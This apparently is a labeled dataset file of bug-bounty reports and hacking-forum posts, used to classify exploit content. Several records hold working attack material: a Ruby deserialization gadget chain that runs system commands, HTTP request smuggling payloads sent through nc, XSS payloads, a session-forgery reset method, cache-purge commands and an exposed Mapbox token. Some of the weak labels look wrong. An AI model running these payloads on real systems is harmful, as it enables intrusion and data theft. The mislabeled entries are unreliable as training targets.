-{"id": "2683e8f910ea3944e1f2", "text": "[Improper Authentication - Generic] Critical full compromise of jarvis-new.urbanclap.com via weak session signing\n\n## Summary\nHi there, I discovered that jarvis-new.urbanclap.com uses a weak Flask session key. Because Flask sessions are signed with a static secret, if this secret is known to an attacker then they can modify the session state. In this case, we can modify the Redash `user_id` for the session and log in as any user. **This results in a full compromise of the instance.** I have attached a screenshot showing that I logged into `█████████@urbancompany.com` and have full admin permissions:\n\n██████████\n████\n██████████\n███████\n\n## How to fix\nChange the `REDASH_COOKIE_SECRET` and `REDASH_SECRET_KEY` to a random value immediately.\n\n## PoC\nFor simplicity, it is easiest to forge a password reset link for Redash. We can do this with a bit of Python. To get the reset link for user ID 1, we simply run:\n```\n>>> from itsdangerous import URLSafeTimedSerializer, SignatureExpired, BadSignature\n>>> serializer = URLSafeTimedSerializer(\"███\")\n>>> serializer.dumps(str(\"1\"))\n'███'\n```\n\nThen, we can browse to `https://jarvis-new.urbanclap.com/reset/█████` and choose a new password for user ID 1. This then logs us into their account.\n\n## Impact\n\nSince this is connected to all of your databases, this is likely a significant leak of PII and other sensitive information. This is easily a critical issue.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "25827f84e46b47ad6733", "text": "[Cleartext Transmission of Sensitive Information] fetlife.com/signup_step_profile expose access_token of mapbox.com\n\nHi fetlife, I'm investigate on registration step on your site, in registration step at https://fetlife.com/signup_step_profile\n\nwhen user type in field \"private_location_name\"\n\n{F2652527}\n\nit use frontend call to api.mapbox.com directly thus expose `access_token`, I was able to call it directly via command line:\n\n```\ncurl 'https://api.mapbox.com/geocoding/v5/mapbox.places/ho%20chi.json?limit=10&types=place%2Clocality&autocomplete=true&language=en&access_token=pk.eyJ1IjoiZmV0bGlmZSIsImEiOiJjazhwMjNrajUwN2luM2xwcmxmMDNoajFoIn0.vge5GmfaG4OTyth8uS_N6w' \\\n  -H 'sec-ch-ua: \"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"' \\\n  -H 'Referer: https://fetlife.com/' \\\n  -H 'sec-ch-ua-mobile: ?0' \\\n  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' \\\n  -H 'sec-ch-ua-platform: \"Linux\"' \\\n  --compressed\n```\n\nUpon having this access_token, I could freely use your token on my site, even though fetlife have `Referer: https://fetlife.com/`, I could navigate around that easily using direct http call from my server and inject Referer header as `https://fetlife.com/`.\n\n----------------------------------------------------------------------------------------------------------\n\nAnother issue (not security related), this request is for validating attribute unhandle email case yet :\n\n```\ncurl 'https://fetlife.com/users/attributes/email?email=deepblue29@wearehackerone.com' \\\n  -H 'sec-ch-ua: \"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"' \\\n  -H 'Accept: application/json' \\\n  -H 'Referer: https://fetlife.com/signup_step_profile' \\\n  -H 'X-CSRF-Token: WbVVfdWFF2nIoWJ7yJHpjVMtt1i1_VFMTpDyq4dRI72NG3onq_MOtQmhHXD6nlD-aKAYoqpvAhCAWu8z6zf_qQ' \\\n  -H 'sec-ch-ua-mobile: ?0' \\\n  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' \\\n  -H 'sec-ch-ua-platform: \"Linux\"' \\\n  --compressed\n```\n\n```\n500 Internal Server Error\nIf you are the administrator of this website, then please read this web application's log file and/or the web server's log file to find out what went wrong.%\n```\n\n----------------------------------------------------------------------------------------------------------\n\nAnother issue I see there is two `authenticity_token` on registration hidden input, I believe this is a mistake (?) \n\n{F2652528}\n\n## Impact\n\nexposing access_token on mapbox give me freely use of your resources (I use, you pay).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c9c7737ab99bf0a459bc", "text": "Hi Wathix, Can you help with this please? I’ve been stuck on this assessment for a week now. I would greatly appreciate it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "deccee3f5cd1a572ad33", "text": "Make sure you’ve identified ALL of the vulnerable applications on the box…one of them will give you what you want…don’t just focus on the one thing", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a1e89429383892c5fdd5", "text": "[Unknown] ReDoS (Rails::Html::PermitScrubber.scrub_attribute)\n\nI reported at  https://hackerone.com/reports/1684163\n\nhttps://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-5x79-w82f-gw8w\n\n> Certain configurations of rails-html-sanitizer < 1.4.4 use an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.\n\nIt seems that the same problem existed on the Loofah side, so it was fixed as well. That has been fixed as CVE-2022-23514(https://github.com/flavorjones/loofah/security/advisories/GHSA-486f-hjj9-9vhh)\n\n## Impact\n\nReDoS may occur if scrub is executed in Rails::Html::PermitScrubber.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-23514"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c127743ac8a3b0b1fbe2", "text": "hey bro did you solve this problem? Create a “For” loop that encodes the variable “var” 28 times in “base64”. The number of characters in the 28th hash is the value that must be assigned to the “salt” variable. it gives me this error Extra arguments given. enc: Use -help for summary. can u help me please?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e55b0e0b21e8e0e7aa13", "text": "[Unknown] robots.txt file\n\nThe web server includes a robots.txt file that serves a crucial role in providing instructions to web robots, such as search engine crawlers, about the permissible areas of the website that they can crawl and index. While the presence of this file does not pose a direct threat to the security of the website, it is often used to identify restricted or private areas of the site's contents, which could be exploited by attackers to map out the site's contents. This is especially true if some of the locations identified are not linked from elsewhere on the site. It is important to note that if the application relies on robots.txt to secure access to these areas, and does not enforce proper access control over them, then this could lead to a serious vulnerability.\nTo ensure the security of the website, it is crucial to use the robots.txt file correctly and not assume that all web robots will honor the file's instructions. Instead, take the attacker will pay close attention to any locations identified in the file. It is recommended not to rely on robots.txt to provide any kind of protection over unauthorized access. As a helpful assistant, I urge you to take the necessary measures to secure your website and prevent unauthorized access.\n\nURL:  https://goteleport.com/robots.txt\n\nUser-agent: *\nDisallow: /teleport.sh/\nDisallow: /teleconsole/\nDisallow: /gravity/\nDisallow: /teleport/docs/ver/\nDisallow: /teleport/docs/1.3/\nDisallow: /teleport/docs/2.0/\nDisallow: /teleport/docs/2.3/\nDisallow: /teleport/docs/2.4/\nDisallow: /categories/\nDisallow: /_shared/\nDisallow: /docs/ver/\nDisallow: /sandbox/\nDisallow: /404/\nDisallow: /blog/404/\nDisallow: /docs/404/\n# Algolia-Crawler-Verif: 7547941F377A04CB\n\n## Impact\n\nfrom the robots.txt file attacker can see all Your secret pages!\n\nlike www.example.com/_shared....\nSitemap: https://goteleport.com/sitemapindex.xml", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e1086983755f27eb7c10", "text": "[Deserialization of Untrusted Data] XMLRPC does not limit deserializable classes.\n\nI confirmed that the classes that can be generated by parsing the xml sent in the request or response by XMLRPC bundled in ruby are not restricted.\n\nhttps://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/create.rb#L251\n\n```ruby\n  if Config::ENABLE_MARSHALLING and param.class.included_modules.include? XMLRPC::Marshallable\n    # convert Ruby object into Hash\n    ret = {\"___class___\" => param.class.name}\n    param.instance_variables.each {|v|\n```\n\nWhen converting parameters to XML,  limited to those that include `XMLRPC::Marshallable`.\n\nhttps://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/parser.rb#L104\n\n```ruby\n# Converts the given +hash+ to a marshalled object.\n#\n# Returns the given +hash+ if an exception occurs.\ndef self.struct(hash)\n  # convert to marshalled object\n  klass = hash[\"___class___\"]\n  if klass.nil? or Config::ENABLE_MARSHALLING == false\n    hash\n  else\n    begin\n      mod = Module\n      klass.split(\"::\").each {|const| mod = mod.const_get(const.strip)}\n\n      obj = mod.allocate\n\n      hash.delete \"___class___\"\n      hash.each {|key, value|\n        obj.instance_variable_set(\"@#{ key }\", value) if key =~ /^([a-zA-Z_]\\w*)$/\n      }\n      obj\n    rescue\n      hash\n    end\n  end\nend\n```\nHowever, there are no class restrictions when parsing.\n\nhttps://github.com/ruby/xmlrpc/blob/v0.3.2/lib/xmlrpc/config.rb#L27\n\n```ruby\n    # enable marshalling Ruby objects which include XMLRPC::Marshallable\n    ENABLE_MARSHALLING   = true\n```\n\n`Config::ENABLE_MARSHALLING` is true by default so there is no limit to the classes that can be restored.\n\n---\n\n## PoC\n\n### Prepare\n\ncreate `build_xml.rb`\n\n```ruby\nrequire \"xmlrpc/marshal\"\n\n# Universal Deserialisation Gadget for Ruby 2.x-3.x\n# https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html\n\n# Autoload the required classes\nGem::SpecFetcher\nGem::Installer\n\n# Because the classes that can be dumped are limited\nclass Array\n  def include?(_)\n    true\n  end\nend\n\nwa1 = Net::WriteAdapter.new(Kernel, :system)\n\nrs = Gem::RequestSet.allocate\nrs.instance_variable_set('@sets', wa1)\nrs.instance_variable_set('@git_set', \"date\")\n\nwa2 = Net::WriteAdapter.new(rs, :resolve)\n\ni = Gem::Package::TarReader::Entry.allocate\ni.instance_variable_set('@read', 0)\ni.instance_variable_set('@header', \"aaa\")\n\n\nn = Net::BufferedIO.allocate\nn.instance_variable_set('@io', i)\nn.instance_variable_set('@debug_output', wa2)\n\nt = Gem::Package::TarReader.allocate\nt.instance_variable_set('@io', n)\n\nr = Gem::Requirement.allocate\nr.instance_variable_set('@requirements', t)\n\ncreater = XMLRPC::Create.new\ncall_xml = creater.methodCall(\"for_call\", r)\nFile.write('attack_call.xml', call_xml)\n\nresponse_xml = creater.methodResponse(\"for_response\", r)\nFile.write('attack_response.xml', response_xml)\n```\n\n```\n$ cat Gemfile\n# frozen_string_literal: true\n\nsource \"https://rubygems.org\"\n\ngem 'xmlrpc', '~> 0.3.2'\ngem 'webrick', '~> 1.7'\ngem 'rack', '~> 2.2', '>= 2.2.3'\n\n$ bundle install\n...\n\n$ bundle exec ruby build_xml.rb\n# create attack_call.xml and attack_response.xml\n```\n\n\n### PoC for server attack\n\n```ruby\n# craft_client.rb\nrequire \"xmlrpc/client\"\n\nserver = XMLRPC::Client.new(\"localhost\", \"/RPC2\", 8080)\ncraft = File.read(\"./attack_call.xml\")\nok, param = server.send(:do_rpc, craft)\n\n\nif ok then\n  puts \"param: #{param}\"\nelse\n  puts \"Error:\"\n  puts param.faultCode\n  puts param.faultString\nend\n```\n\n```ruby\n# xmlrpc_server.rb\n\nrequire \"webrick\"\nrequire \"xmlrpc/server\"\n\n# required classes\nrequire 'net/http'\nGem::Installer\n\ns = XMLRPC::WEBrickServlet.new\n\ns.add_handler(\"for_call\") do |param|\n  param.to_s\nend\n\nhttpserver = WEBrick::HTTPServer.new(:Port => 8080)\nhttpserver.mount(\"/RPC2\", s)\ntrap(:INT){httpserver.shutdown}\nhttpserver.start\n```\n\n\n```\n❯ bundle exec ruby craft_client.rb\nparam:\n\n```\n\n```\n❯ bundle exec ruby xmlrpc_server.rb\n[2021-05-09 20:49:35] INFO  WEBrick 1.7.0\n[2021-05-09 20:49:35] INFO  ruby 2.7.1 (2020-03-31) [x86_64-darwin19]\n[2021-05-09 20:49:35] INFO  WEBrick::HTTPServer#start: pid=48443 port=8080\nsh: reading: command", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d46eda815b332a41e699", "text": "[Cross-site Scripting (XSS) - Stored] Cross-site Scripting (XSS) - Stored | forum.acronis.com\n\n## Summary\n\nThere is an XSS vulnerability in the search function of the forum (forum.acronis.com).\n\n## Steps To Reproduce\n\n  1. Modify your own forum Nickname, add the following payload after the original nickname:\n\n```\n<script>alert(0)</script>\n```\n\n  2. Fill in your nickname in the Author form of the search function and wait for the search, it will automatically trigger a pop-up.\n\n{F1262581}\n\n## Recommendations\n\nAdd special character filtering to the nickname modification function of the forum.\n\n## Impact\n\nYou can add any keywords that users may use when searching for authors to your nickname to attack the corresponding users. It is possible to execute any Javascript.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "72f460d0864af2bff348", "text": "[Information Disclosure] Disclose customer orders details by shopify chat application.\n\nHello Shopify Security Team!\n\n Bug Summary:\n=============\n\nThis bug leads to disclose any store orders details ( including sensitive informations), through shopify chat app. the chat app can retrieve the orders details for unauthorized  user.\n\n Reproduction steps:\n=============\n  - install shopify chat applications.\n\nStart Exploit : \n=============\n+ Go to targeted store : \n+ Start a chat using the app.\n+ Click on _I need an update on my order_.\n+ fill out the Order ID and Email. ( fill the info randomly if you want to).\n+ The bot respond.\n\n█████\n\n\nExploit\n=============\n\n Remove the first part of the email (keep only @hotmail/gmail/yahoo...).\n In normal situation the orders IDs start form #1000, and in the verification required the email and ID, So the attacker can brut force on the ID and retrive the order information of that ID with the same email  ISP because we removed the first email part.\n\n Request : \n=============\n\n```\nPOST /api/storefront/conversations/lx9vF-DR31d1ePOOCS0Uw2lFUUBjhNqmMTOdkeM631M/order_lookup HTTP/1.1\nHost: shopify-chat.shopifycloud.com\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0\nAccept: /\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://okbay44.myshopify.com/\nContent-Type: application/json\nX-Shopify-Chat-Shop-Identifier: █████████\nOrigin: https://okbay44.myshopify.com\nContent-Length: 113\nDNT: 1\nConnection: close\n\n{\"order_lookup\":{\"email\":\"@gmail.com\",\"order_number\":\"1005\",\"user_token\":\"███\"}}\n\n```\n\nResponse :\n=============\n\n█████\n\n## Impact\n\nRetrive any customers data.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "273dccf49e6d2058fb53", "text": "[Unknown] [CPP]: Add query for CWE-297: Improper Validation of Certificate with Host Mismatch\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c34dfcc8a32fa8d7379e", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://███\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\n\npoc attached\nanother parameter at #1636345\nYear Group (Military Only)\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f1520280eba9173a0f5c", "text": "I’m new to this forum,but i would like to state the following: When there’s a good method/tool���will get burned by kiddies using Virustotal and others.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-02-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3633a91b7e1b2c5bab2b", "text": "[HTTP Request Smuggling] HTTP Request Smuggling Due to Incorrect Parsing of Header Fields\n\n**Summary:** \nThe `llhttp` parser in the `http` module in Node v18.7.0 does not correctly handle header fields that are not terminated with CLRF. This may result in HTTP Request Smuggling.\n\n**Description:** \nThe following chunked request is processed.  It should be rejected as `Transfer-Encoding` header obfuscation may result in HRS when the upstream proxy does not process the `Transfer-Encoding` header.\n\nA header that precedes the `Transfer-Encoding`, contains an empty value, and is not properly delimited with CLRF may be used for TE obfuscation. \n```\nPOST / HTTP/1.1\nHost: localhost:5000\nx:\\nTransfer-Encoding: chunked\n\n1\nA\n0\n\n```\n\nThe request is rejected when the preceding header has a value but improper CLRF.\n```\nPOST / HTTP/1.1\nHost: localhost:5000\nx:x\\nTransfer-Encoding: chunked\n\n1\nA\n0\n\n```\n\n## Steps To Reproduce:\n\nServer\nRun the server: `node app.js`\n\n```js\n// https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n  let body = [];\n  request.on('error', (err) => {\n    response.end(\"Request Error: \" + err)\n  }).on('data', (chunk) => {\n        body.push(chunk);\n  }).on('end', () => {\n    body = Buffer.concat(body).toString();\n\n    // log the body to stdout to catch the smuggled request\n    console.log(\"Response\");\n    console.log(request.headers);\n    console.log(body);\n    console.log(\"---\");\n\n    response.on('error', (err) => {\n      // log the body to stdout to catch the smuggled request\n        response.end(\"Response Error: \" + err)\n    });\n\n    response.end(\"Body length: \" + body.length.toString() + \" Body: \" + body);\n  });\n}).listen(5000);\n```\nPayload\n```bash\nprintf \"POST / HTTP/1.1\\r\\n\"\\\n\"Host: localhost\\r\\n\"\\\n\" x:\\nTransfer-Encoding: chunked\\r\\n\"\\\n\"\\r\\n\"\\\n\"1\\r\\n\"\\\n\"A\\r\\n\"\\\n\"0\\r\\n\"\\\n\"\\r\\n\" | nc localhost 5000\n```\nOutput\n```\nHTTP/1.1 200 OK\nDate: Sat, 20 Aug 2022 02:59:38 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 22\n\nBody length: 1 Body: A\n```\nNote:\n```bash\nprintf \"POST / HTTP/1.1\\r\\n\"\\\n\"Host: localhost\\r\\n\"\\\n\" Transfer-Encoding: yeet\\r\\n\"\\\n\" Transfer-Encoding: \\n\"\\\n\" Transfer-Encoding: chunked\\r\\n\"\\\n\"\\r\\n\"\\\n\"1\\r\\n\"\\\n\"A\\r\\n\"\\\n\"0\\r\\n\"\\\n\"\\r\\n\" | nc localhost 5000\n```\nThis also works with the resulting wonky header:\n```\nHTTP/1.1 200 OK\nDate: Sat, 20 Aug 2022 03:06:09 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 22\n\nBody length: 1 Body: A\nResponse\n{ host: 'localhost:5000', 'transfer-encoding': 'yeet, , chunked' }\nA\n```\n\n## Impact:\n\nHRS can lead to access control bypass and other issues.\n\n## Supporting Material/References:\n{F1875064}\n\n\nhttps://hackerone.com/reports/1501679\nhttps://hackerone.com/reports/1238709\n\n## Impact\n\nHTTP Request Smuggling can lead to access control bypass.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1993d40b69b26f897eaf", "text": "Wow, ive been stuck on this forever. Seriously wtf why would it specifically say to log into no machine ans then ask a question completely unrelated?!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fada8979a32207aa9219", "text": "[Uncontrolled Resource Consumption] Specially crafted message request crashes the webapp for users who view the message\n\n## Summary:\nIf you post a message with a modified `deleted_at` JSON parameter, the webapp will crash for anyone currently viewing the channel, or for anyone viewing a different channel if they switch to that channel afterward.\n\n## Steps To Reproduce:\n\n1. Go to a team channel, with Burp Suite ready.\n2. Send a message, intercepting the request with Burp. The JSON request contains keys like `message`, `channel_id`, and `pending_post_id`.\n3. Add the following key to the JSON request: `deleted_at`, with a value that's greater than 0. For example: `\"deleted_at\": 10`.\n4. Now if you send the request, the webapp will crash with a blank screen and you will have to refresh the page. _Note: If you want to send the request again, you may have to update the `pending_post_id` to some other unique value._\n\nIt affects all users viewing the channel, not just the sender. Also, you don't even have to be in the channel when the message is sent. If you are already on a different channel, and you switch to the affected channel after the message is sent, it still has the same effect.\n\n## Impact\n\nA user could prevent others from accessing a channel by continually making this request so that it's impossible to load the webapp, because a new message would come and crash it even after refreshing the page. And since after refreshing you will still be on the channel, it could prevent the users from having access to the entire webapp, as they may not be able to exit the channel quick enough to prevent the crash.\n\nYou could also send a DM to someone and when they click to view the message the webapp will crash.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a2b85256945d7d19b66", "text": "[Business Logic Errors] CVE-2022-27782: TLS and SSH connection too eager reuse\n\n## Summary:\nCurl fails to consider some security related options when reusing TLS connections. For example:\n- CURLOPT_SSL_OPTIONS\n- CURLOPT_PROXY_SSL_OPTIONS\n- CURLOPT_CRLFILE\n- CURLOPT_PROXY_CRLFILE\n\nAs a result for example TLS connection with  lower security (`CURLSSLOPT_ALLOW_BEAST`,` CURLSSLOPT_NO_REVOKE`) connection reused when it should no longer be. Also connection that has been authenticated perviously with `CURLSSLOPT_AUTO_CLIENT_CERT` might be reused for connections that should not be.\n\n## Steps To Reproduce:\n1. `(echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nHello\\n\"; sleep 5; echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 6\\r\\n\\r\\nAgain\\n\") | openssl s_server -cert cert.pem -key privkey.pem -cert_chain chain.pem -accept 9443`\n2. `curl -v --ssl-no-revoke --ssl-allow-beast https://targethost.tld:9443 -: https://targethost.tld:9443`\n\nConnections are made using the same reused connection even though security settings change.\n\nWith curl built against openssl:\n1. `curl http://cdp.geotrust.com/GeoTrustRSACA2018.crl | openssl crl -out testcrl.pem`\n2. `curl -v https://curl.se -: --crlfile crlfile.pem https://curl.se`\n\nThe crlfile.pem use should result in `curl: (60) SSL certificate problem: unable to get certificate CRL` but is ignored since previous connection is reused.\n\nWith curl built against Schannel and revoked certificate:\n1. `curl -v --ssl-no-revoke https://revoked.grc.com -: https://revoked.grc.com`\n\nSecond connection will reuse the existing connection even though revocation check is no longer requested.\n\n## Note:\n\nThere may be more options that might have the similar issues. These were the most obvious I could see (ones having obvious security impact).\n\n## Impact\n\nWrong identity (client certificate) or TLS security options being used for subsequent connections to the same hosts.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27782"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b144d142259700e15cb1", "text": "[Cross-site Scripting (XSS) - Generic] [mysupport.informatica.com] - reflected XSS\n\nmysupport.informatica.com has reflected XSS vulnerability.\r\n\r\nI used browser is Firefox 34.0.5\r\nPoC:\r\nhttps://mysupport.informatica.com/search.jspa?q=zzz%3C%2Fscript%3E%3Cscript%3Econfirm%28document.domain%29%3B%3C%2Fscript%3E\r\n\r\nthanks", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "298ebbecbd4feefd2370", "text": "[Improper Access Control - Generic] Unauthenticated cache purging\n\n## Summary:\nI found a vulnerability in https://fanout.io/ page known  as unauthenticated cache purging vulnerability. This vulnerability arises when cache purging requests are available to the unauthenticated users. \n\n## Steps To Reproduce:\n\n  1. Go to any terminal of an OS which has curl installed in it.\n  2. Type in the following command `curl --head https://fanout.io/` and hit enter. You will see that there are these following HTTP headers available\n```http\nvia: 1.1 varnish\nage: 7\nx-served-by: cache-qpg1234-QPG\nx-cache: HIT\nx-cache-hits: 1\n```\n  3. This means that the page is caching the requests. So to reproduce the bug or to exploit it, type `curl -X PURGE https://fanout.io/` and in the response you'll see `{ \"status\": \"ok\", \"id\": \"1237-1678993092-222436\" }` (the id can be changed in your case)\nThis response proves that this endpoint is vulnerable to unauthenticated cache purging.\n\n## Supporting Material/References:\nF2235408\n\n## Impact\n\nIn general, cache purging vulnerabilities can have a high severity level because they can allow an attacker to manipulate the cache of a web application, which can lead to various types of attacks such as website defacement, unauthorized access to sensitive data, or denial of service (DoS) attacks.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ee86393506e3a1520694", "text": "[Improper Access Control - Generic] CVE-2023-42780: Apache Airflow: Improper access control vulnerability in the \"List dag warnings\" feature\n\nApache Airflow, versions prior to 2.7.2, contains a security vulnerability that allows authenticated users of Airflow to list warnings for all DAGs, even if the user had no permission to see those DAGs. It would reveal the dag_ids and the stack-traces of import errors for those DAGs with import errors.\n\n# Steps to reproduce :\n1. Here I create a role with very little permission. It only has read permissions for the DAG \"example_setup_teardown_taskflow\" and read warning permissions.\n2. Assign the role to an account and log in.\n3. Use burpsuite to send the following message, and you can see the warnings of other DAGs. (replaced with the session of the account)\n```\nGET /api/v1/dagWarnings HTTP/1.1\nHost: testvul.com:8080\nAccept: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\ncontent-type: application/json\nReferer: http://testvul.com:8080/dags/example_external_task_marker_parent/grid\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: session=6ba0ebcd-94b6-41e9-8143-2ada52d554b1.IGPZy1m5c8235p5r8qo4GhPl_YM\nConnection: close\nContent-Length: 0\n\n\n```\n{F2771429}\n\n**Security Advisory**: https://lists.apache.org/thread/h5tvsvov8j55wojt5sojdprs05oby34d\n**Severity**: Low\n**Credit**: balis0ng\n\n## Impact\n\nIt allows authenticated users of Airflow to list warnings for all DAGs, even if the user had no permission to see those DAGs. It would reveal the dag_ids and the stack-traces of import errors for those DAGs with import errors.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-42780"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5b984d1099dd4f22e325", "text": "I am getting the error Error while moving: mv: and ‘t’ are the same file this is the unecoded version this is the whole thing where am I making a mistake", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bbf6a31a3888ff391841", "text": "[Server-Side Request Forgery (SSRF)] Host header injection that bypassed protection and allowed accessing multiple subdomains\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to verify and then potentially issue a bounty, so be sure to take your time filling out the report!\n\n**Name of Vulnerability:*Host header injection/SSRF\n**Areas affected:** [App/ Website + URL/Location] https://www.urbancompany.com  and it allowed accessing otherwise inaccessible subdomains https://av.urbancompany.com , https://ims.urbancompany.com , https://mesh.urbancompany.com\n**User Details:** [Registered Email and Registered Mobile Number used for the purpose of signing up an account with Urbanclap] N/A\n**Summary:** [add summary of the vulnerability] Ability to access certain subdomains (which should be presumably only for internal/trusted sources ) through host header manipulation.\nto be able to access.\n**Description:** [add more details about this vulnerability]\n\n## Steps To Reproduce:\n\n(Add details for how we can reproduce the issue through manual testing only)\n\n  1. Go to any of the three subdomains using any browser and after a while you'll see this:\n\n{F2046658}\n\n\n  2. Using burp and Match and Replace rule:\n\n{F2046655}\n\n 3. Now using burp chromium go to https://www.urbancompany.com , \nand you'll see the following for the Host: mesh.urbancompany.com:\n\n{F2046657}\n\n\nand for Host: av.urbancompany.com:\n\n{F2046651}\n\nand for Host: ims.urbancompany.com:\n\n{F2046654}\n\n\nSome interesting endpoints:\nFor av.urbancompany.com:\n\n{F2046652}\n\n\n{F2046653}\n\n\n\nFor mesh.urbancompany.com, potentially means ability to access user files, but because I don't know any of the files I was unable to confirm if it would ask for some authorization upon request to the existing file:\n\n{F2046659}\n\nThis endpoint looks interesting, but for some reason it doesn't actually 